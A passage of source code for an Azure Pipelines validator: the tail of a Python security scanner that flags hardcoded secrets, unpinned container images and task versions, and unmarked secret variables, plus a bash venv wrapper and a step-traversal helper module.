        self._check_dangerous_scripts()
        self._check_secret_exposure()
        self._check_container_security()
        self._check_task_security()
        self._check_service_connections()
        self._check_checkout_security()
        self._check_variable_security()

        return self.issues

    def _build_line_map(self):
        """Build comprehensive line number map"""
        self.raw_lines = self.raw_content.split('\n')
        for line_num, line in enumerate(self.raw_lines, 1):
            stripped = line.strip()
            if stripped and not stripped.startswith('#'):
                if ':' in stripped:
                    key = stripped.split(':')[0].strip('- ')
                    if key and key not in self.line_map:
                        self.line_map[key] = line_num
                    # Also store full stripped line for value lookups
                    self.line_map[stripped] = line_num

    def _get_line(self, key: str) -> int:
        """Get approximate line number for a key or value"""
        if key in self.line_map:
            return self.line_map[key]
        # Search for the key in raw lines
        for line_num, line in enumerate(self.raw_lines, 1):
            if key in line:
                return line_num
        return 0

    def _find_line_containing(self, value: str) -> int:
        """Find line number containing a specific value"""
        for line_num, line in enumerate(self.raw_lines, 1):
            if value in line:
                return line_num
        return 0

    def _check_hardcoded_secrets(self):
        """Check for hardcoded secrets and credentials"""

        # Check in variables first (more specific, better context)
        variables = self.config.get('variables', {})
        if isinstance(variables, dict):
            for var_name, var_value in variables.items():
                if isinstance(var_value, str):
                    for pattern, rule in self.SECRET_PATTERNS:
                        # Check variable name and value
                        check_str = f"{var_name}: {var_value}"
                        if pattern.search(check_str):
                            line_num = self._get_line(var_name)
                            # Track this finding to avoid duplicates
                            finding_key = (line_num, rule)
                            if finding_key not in self.reported_secrets:
                                self.reported_secrets.add(finding_key)
                                self.issues.append(SecurityIssue(
                                    'high', line_num,
                                    f"Variable '{var_name}' may contain hardcoded secret",
                                    rule,
                                    "Use Azure DevOps variable groups with secret variables or Azure Key Vault"
                                ))
                            break
        elif isinstance(variables, list):
            for var in variables:
                if isinstance(var, dict) and 'name' in var and 'value' in var:
                    var_name = var['name']
                    var_value = str(var['value'])
                    check_str = f"{var_name}: {var_value}"
                    for pattern, rule in self.SECRET_PATTERNS:
                        if pattern.search(check_str):
                            line_num = self._get_line(var_name)
                            finding_key = (line_num, rule)
                            if finding_key not in self.reported_secrets:
                                self.reported_secrets.add(finding_key)
                                self.issues.append(SecurityIssue(
                                    'high', line_num,
                                    f"Variable '{var_name}' may contain hardcoded secret",
                                    rule,
                                    "Use Azure DevOps variable groups with secret variables or Azure Key Vault"
                                ))
                            break

        # Check in raw content (scripts, etc.) - skip lines already reported
        lines = self.raw_content.split('\n')
        for line_num, line in enumerate(lines, 1):
            # Skip comments and variable references
            if '#' in line:
                line = line[:line.index('#')]

            # Normalize out variable references before pattern matching so that
            # mixed lines like "password=hardcoded $(Build.Id)" are still caught.
            normalized_line = re.sub(r'\$\([^)]+\)', '', line)

            for pattern, rule in self.SECRET_PATTERNS:
                if pattern.search(normalized_line):
                    # Check if this line+rule was already reported
                    finding_key = (line_num, rule)
                    if finding_key not in self.reported_secrets:
                        self.reported_secrets.add(finding_key)
                        self.issues.append(SecurityIssue(
                            'high', line_num,
                            f"Potential hardcoded secret detected",
                            rule,
                            "Use secret variables or Azure Key Vault instead of hardcoding secrets"
                        ))
                    break

    def _check_dangerous_scripts(self):
        """Check for dangerous script patterns"""

        def check_script(script_content: str, context: str, script_key: str):
            for pattern, rule, remediation in self.DANGEROUS_PATTERNS:
                match = pattern.search(script_content)
                if match:
                    # Find line number by searching for script content
                    line_num = self._find_line_containing(match.group(0)[:30]) or self._find_line_containing(script_key + ':')
                    self.issues.append(SecurityIssue(
                        'high', line_num,
                        f"Dangerous pattern detected in {context}",
                        rule,
                        remediation
                    ))

        # Check all script steps
        def process_steps(steps: List[Any], context: str):
            for step in steps:
                if isinstance(step, dict):
                    for script_key in ['script', 'bash', 'pwsh', 'powershell']:
                        if script_key in step:
                            script_content = str(step[script_key])
                            check_script(script_content, f"{context} ({script_key})", script_key)

        self._traverse_steps(process_steps)

    def _check_secret_exposure(self):
        """Check for potential secret exposure in logs"""

        def process_steps(steps: List[Any], context: str):
            for step in steps:
                if isinstance(step, dict):
                    for script_key in ['script', 'bash', 'pwsh', 'powershell']:
                        if script_key in step:
                            script_content = str(step[script_key])
                            for pattern in self.SECRET_EXPOSURE_PATTERNS:
                                if pattern.search(script_content):
                                    self.issues.append(SecurityIssue(
                                        'medium', 0,
                                        f"Potential secret exposure in logs in {context}",
                                        'secret-in-logs',
                                        "Use ##vso[task.setvariable variable=name;issecret=true] or avoid logging secrets"
                                    ))
                                    break

        self._traverse_steps(process_steps)

    def _check_container_security(self):
        """Check container image security"""

        # Check container images in resources
        resources = self.config.get('resources', {})
        if 'containers' in resources:
            for container in resources['containers']:
                if isinstance(container, dict) and 'image' in container:
                    image = container['image']
                    if isinstance(image, str):
                        for pattern in self.INSECURE_IMAGE_PATTERNS:
                            if pattern.search(image):
                                container_name = container.get('container', 'unknown')
                                self.issues.append(SecurityIssue(
                                    'medium', self._get_line(container_name),
                                    f"Container '{container_name}' uses ':latest' tag",
                                    'container-latest-tag',
                                    "Pin container images to specific versions or SHA digests"
                                ))
                                break

        # Check container at job level
        def check_job_containers(jobs: List[Any]):
            for job in jobs:
                if isinstance(job, dict) and 'container' in job:
                    container = job['container']
                    if isinstance(container, str):
                        for pattern in self.INSECURE_IMAGE_PATTERNS:
                            if pattern.search(container):
                                job_name = job.get('job') or job.get('deployment', 'unknown')
                                self.issues.append(SecurityIssue(
                                    'medium', self._get_line(job_name),
                                    f"Job '{job_name}' uses container with ':latest' tag",
                                    'container-latest-tag',
                                    "Pin container images to specific versions or SHA digests"
                                ))
                                break
                    elif isinstance(container, dict) and 'image' in container:
                        for pattern in self.INSECURE_IMAGE_PATTERNS:
                            if pattern.search(container['image']):
                                job_name = job.get('job') or job.get('deployment', 'unknown')
                                self.issues.append(SecurityIssue(
                                    'medium', self._get_line(job_name),
                                    f"Job '{job_name}' uses container with ':latest' tag",
                                    'container-latest-tag',
                                    "Pin container images to specific versions or SHA digests"
                                ))
                                break

        if 'stages' in self.config:
            for stage in self.config['stages']:
                if isinstance(stage, dict):
                    check_job_containers(stage.get('jobs', []))

        if 'jobs' in self.config:
            check_job_containers(self.config['jobs'])

    def _check_task_security(self):
        """Check task version security"""

        def process_steps(steps: List[Any], context: str):
            for step in steps:
                if isinstance(step, dict) and 'task' in step:
                    task = step['task']
                    if isinstance(task, str):
                        line_num = self._find_line_containing(f"task: {task}") or self._find_line_containing(task)
                        # Check for missing version
                        if '@' not in task:
                            self.issues.append(SecurityIssue(
                                'medium', line_num,
                                f"Task '{task}' in {context} missing version (security risk)",
                                'task-no-version',
                                "Always specify task version to prevent unexpected changes"
                            ))

                        # Warn about very old tasks (@1 for critical tasks)
                        if any(critical in task for critical in ['AzureCLI@', 'AzurePowerShell@', 'Kubernetes@']):
                            if '@1' in task:
                                self.issues.append(SecurityIssue(
                                    'low', line_num,
                                    f"Task '{task}' in {context} uses older version",
                                    'task-old-version',
                                    "Consider updating to latest major version for security fixes"
                                ))

        self._traverse_steps(process_steps)

    def _check_service_connections(self):
        """Check for hardcoded service connections"""

        # Check for Azure service connections in tasks
        def process_steps(steps: List[Any], context: str):
            for step in steps:
                if isinstance(step, dict) and 'inputs' in step:
                    inputs = step['inputs']
                    if isinstance(inputs, dict):
                        # Check common service connection inputs
                        for key in ['azureSubscription', 'connectedServiceName', 'dockerRegistryServiceConnection']:
                            if key in inputs:
                                value = str(inputs[key])
                                # Check if it looks like a GUID (hardcoded)
                                if re.match(r'^[a-f0-9\-]{36}$', value):
                                    self.issues.append(SecurityIssue(
                                        'low', 0,
                                        f"Task in {context} may use hardcoded service connection ID",
                                        'hardcoded-service-connection',
                                        "Use service connection names instead of IDs for portability"
                                    ))

        self._traverse_steps(process_steps)

    def _check_checkout_security(self):
        """Check checkout security settings"""

        def process_steps(steps: List[Any], context: str):
            for step in steps:
                if isinstance(step, dict) and 'checkout' in step:
                    checkout = step['checkout']
                    # Check if clean is disabled
                    if isinstance(step, dict) and 'clean' in step:
                        if step['clean'] == False or step['clean'] == 'false':
                            self.issues.append(SecurityIssue(
                                'low', 0,
                                f"Checkout in {context} has clean disabled",
                                'checkout-no-clean',
                                "Enable clean checkout to prevent contamination from previous builds"
                            ))

                    # Check for submodules without verification
                    if isinstance(step, dict) and 'submodules' in step:
                        if step.get('submodules') == 'recursive' and not step.get('fetchDepth'):
                            self.issues.append(SecurityIssue(
                                'low', 0,
                                f"Checkout in {context} uses recursive submodules without depth limit",
                                'checkout-submodule-risk',
                                "Consider setting fetchDepth to limit exposure"
                            ))

        self._traverse_steps(process_steps)

    def _check_variable_security(self):
        """Check variable security configuration"""

        variables = self.config.get('variables', [])

        if isinstance(variables, list):
            for var in variables:
                if isinstance(var, dict) and 'name' in var and 'value' in var:
                    var_name = var['name']
                    # Check if sensitive variable is not marked as secret
                    if any(keyword in var_name.lower() for keyword in ['password', 'secret', 'token', 'key', 'credential']):
                        if not var.get('isSecret'):
                            self.issues.append(SecurityIssue(
                                'medium', self._get_line(var_name),
                                f"Variable '{var_name}' appears sensitive but not marked as secret",
                                'variable-not-secret',
                                "Add 'isSecret: true' to sensitive variables or use variable groups"
                            ))

    def _traverse_steps(self, callback):
        """Traverse all steps in the pipeline and apply callback."""
        steps_by_context: Dict[str, List[Any]] = {}
        for step, context in iter_steps(self.config):
            steps_by_context.setdefault(context, []).append(step)

        for context, steps in steps_by_context.items():
            callback(steps, context)


def main():
    if len(sys.argv) < 2:
        print("Usage: check_security.py <azure-pipelines.yml>", file=sys.stderr)
        sys.exit(1)

    scanner = SecurityScanner(sys.argv[1])
    issues = scanner.scan()

    if issues:
        # Group by severity
        critical = [i for i in issues if i.severity == 'critical']
        high = [i for i in issues if i.severity == 'high']
        medium = [i for i in issues if i.severity == 'medium']
        low = [i for i in issues if i.severity == 'low']

        for severity_list, name in [(critical, 'CRITICAL'), (high, 'HIGH'), (medium, 'MEDIUM'), (low, 'LOW')]:
            if severity_list:
                print(f"{name} SEVERITY ({len(severity_list)}):")
                print("─" * 80)
                for issue in severity_list:
                    print(f"  {issue}\n")

        if critical or high:
            print("✗ Security scan failed - critical/high severity issues found")
            sys.exit(1)
        else:
            print("⚠ Security scan found warnings - low/medium severity issues found")
            sys.exit(2)  # Exit code 2 for warnings (distinct from passed)
    else:
        print("✓ Security scan passed - no issues found")
        sys.exit(0)


if __name__ == '__main__':
    main()

#!/bin/bash
# Python Wrapper Script for Azure Pipelines Validator
# Handles PyYAML and yamllint dependencies with transparent venv management
#
# This script:
# 1. Tries to use system Python if PyYAML is available
# 2. Falls back to a persistent venv if PyYAML is missing
# 3. Auto-installs PyYAML and yamllint in venv if needed
# 4. Runs the target Python script with all arguments

set -e

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
VENV_DIR="$SCRIPT_DIR/../.venv"

# Check if we have arguments
if [ $# -lt 2 ]; then
    echo "Usage: python_wrapper.sh <python-script> <args...>" >&2
    exit 1
fi

# Hard requirement: python3 must exist
if ! command -v python3 >/dev/null 2>&1; then
    echo "Error: python3 is required to run Azure Pipelines validators." >&2
    echo "Install python3, then rerun validation." >&2
    exit 1
fi

PYTHON_SCRIPT="$1"
shift  # Remove first argument, rest are passed to the Python script

# Try to run with system Python first
if python3 -c "import yaml" 2>/dev/null; then
    # PyYAML is available in system, run directly
    python3 "$PYTHON_SCRIPT" "$@"
    exit $?
fi

# PyYAML not available in system, check for venv
if [ ! -d "$VENV_DIR" ]; then
    # Create persistent venv
    echo "PyYAML not found. Creating persistent virtual environment..." >&2
    if ! python3 -m venv "$VENV_DIR" >&2; then
        echo "Error: Failed to create virtual environment at $VENV_DIR" >&2
        echo "Install Python venv support (for example python3-venv) and retry." >&2
        exit 1
    fi

    # Activate venv
    source "$VENV_DIR/bin/activate" >&2

    # Upgrade pip quietly
    if ! pip install --quiet --upgrade pip >&2; then
        echo "Error: Failed to upgrade pip in $VENV_DIR" >&2
        exit 1
    fi

    # Install required packages
    echo "Installing required packages (PyYAML, yamllint)..." >&2
    if ! pip install --quiet pyyaml yamllint >&2; then
        echo "Error: Failed to install required packages (PyYAML, yamllint)." >&2
        echo "Check network access or preinstall dependencies, then retry." >&2
        exit 1
    fi

    echo "Virtual environment created at $VENV_DIR" >&2
    echo "" >&2
else
    # Use existing venv
    source "$VENV_DIR/bin/activate" >&2

    # Check if yamllint is installed, install if missing
    if ! python3 -c "import yamllint" 2>/dev/null; then
        echo "Installing yamllint in virtual environment..." >&2
        if ! pip install --quiet yamllint >&2; then
            echo "Error: Failed to install yamllint in $VENV_DIR" >&2
            exit 1
        fi
    fi
fi

# Run the script with venv Python
python3 "$PYTHON_SCRIPT" "$@"

#!/usr/bin/env python3
"""Shared traversal helpers for Azure Pipelines step scanning."""

from __future__ import annotations

import re
from typing import Any, Dict, Iterator, List, Tuple

_TEMPLATE_EXPR_KEY = re.compile(r"^\s*\$\{\{.*\}\}\s*$")
_STEP_KEYS = {
    "task",
    "script",
    "bash",
    "pwsh",
    "powershell",
    "checkout",
    "download",
    "downloadBuild",
    "getPackage",
    "publish",
    "template",
    "reviewApp",
}
_DEPLOYMENT_STRATEGIES = ("runOnce", "rolling", "canary")
_DEPLOYMENT_PHASES = ("preDeploy", "deploy", "routeTraffic", "postRouteTraffic")


def _get_mapping_value(node: Dict[str, Any], key: str) -> Any:
    """Fetch mapping value while tolerating YAML 1.1 bool coercion for `on`."""
    if key in node:
        return node[key]
    if key == "on" and True in node:
        return node[True]
    return None


def _is_template_expression_key(key: Any) -> bool:
    if not isinstance(key, str):
        return False
    return _TEMPLATE_EXPR_KEY.match(key) is not None


def _iter_template_payloads(node: Dict[str, Any]) -> Iterator[Any]:
    for key, value in node.items():
        if _is_template_expression_key(key):
            yield value


def _is_step_like(node: Dict[str, Any]) -> bool:
    return any(step_key in node for step_key in _STEP_KEYS)


def _iter_nested_step_payload(payload: Any, context: str) -> Iterator[Tuple[Dict[str, Any], str]]:
    if isinstance(payload, list):
        yield from _iter_step_list(payload, context)
        return

    if not isinstance(payload, dict):
        return

    if _is_step_like(payload):
        yield payload, context

    nested_steps = payload.get("steps")
    if isinstance(nested_steps, list):
        yield from _iter_step_list(nested_steps, context)

    for nested_payload in _iter_template_payloads(payload):
        yield from _iter_nested_step_payload(nested_payload, context)


def _iter_step_list(steps: List[Any], context: str) -> Iterator[Tuple[Dict[str, Any], str]]:
    if not isinstance(steps, list):
        return

    for step in steps:
        if not isinstance(step, dict):
            continue

        for conditional_payload in _iter_template_payloads(step):
            yield from _iter_nested_step_payload(conditional_payload, context)

        if _is_step_like(step):
            yield step, context

        nested_steps = step.get("steps")
        if isinstance(nested_steps, list):
            yield from _iter_step_list(nested_steps, context)


def _iter_strategy_steps(
    strategy_node: Dict[str, Any], job_context: str, strategy_type: str
) -> Iterator[Tuple[Dict[str, Any], str]]:
    for phase in _DEPLOYMENT_PHASES:
        phase_data = _get_mapping_value(strategy_node, phase)
        yield from _iter_nested_step_payload(phase_data, f"{job_context} {strategy_type}.{phase}")

    on_data = _get_mapping_value(strategy_node, "on")
    if isinstance(on_data, dict):
        success_data = _get_mapping_value(on_data, "success")
        yield from _iter_nested_step_payload(success_data, f"{job_context} {strategy_type}.on.success")

        failure_data = _get_mapping_value(on_data, "failure")
        yield from _iter_nested_step_payload(failure_data, f"{job_context} {strategy_type}.on.failure")

        for conditional_payload in _iter_template_payloads(on_data):
            yield from _iter_nested_step_payload(
                conditional_payload, f"{job_context} {strategy_type}.on"
            )


def _iter_job_entries(jobs: Any) -> Iterator[Tuple[Dict[str, Any], str]]:
    if isinstance(jobs, list):
        for job in jobs:
            yield from _iter_job_entries(job)
        return

    if not isinstance(jobs, dict):
        return

    conditional_payloads = list(_iter_template_payloads(jobs))
    for payload in conditional_payloads:
        yield from _iter_job_entries(payload)

    job_name = jobs.get("job") or jobs.get("deployment")
    if not job_name:
        return

    job_context = f"job '{job_name}'"
    if isinstance(jobs.get("steps"), list):
        yield from _iter_step_list(jobs["steps"], job_context)

    strategy = jobs.get("strategy")
    if isinstance(strategy, dict):
        for strategy_type in _DEPLOYMENT_STRATEGIES:
            strategy_node = strategy.get(strategy_type)
            if isinstance(strategy_node, dict):
                yield from _iter_strategy_steps(strategy_node, job_context, strategy_type)


def _iter_stage_entries(stages: Any) -> Iterator[Tuple[Dict[str, Any], str]]:
    if isinstance(stages, list):
        for stage in stages:
            yield from _iter_stage_entries(stage)
        return

    if not isinstance(stages, dict):
        return

    conditional_payloads = list(_iter_template_payloads(stages))
    for payload in conditional_payloads:
        yield from _iter_stage_entries(payload)

    if isinstance(stages.get("jobs"), list):
        yield from _iter_job_entries(stages["jobs"])


def iter_steps(config: Any) -> Iterator[Tuple[Dict[str, Any], str]]:
    """Yield (step, context) pairs from standard and conditional/deployment blocks."""
    if not isinstance(config, dict):
        return

    if isinstance(config.get("steps"), list):
        yield from _iter_step_list(config["steps"], "pipeline")

    if isinstance(config.get("jobs"), list):
        yield from _iter_job_entries(config["jobs"])

    if isinstance(config.get("stages"), list):
        yield from _iter_stage_entries(config["stages"])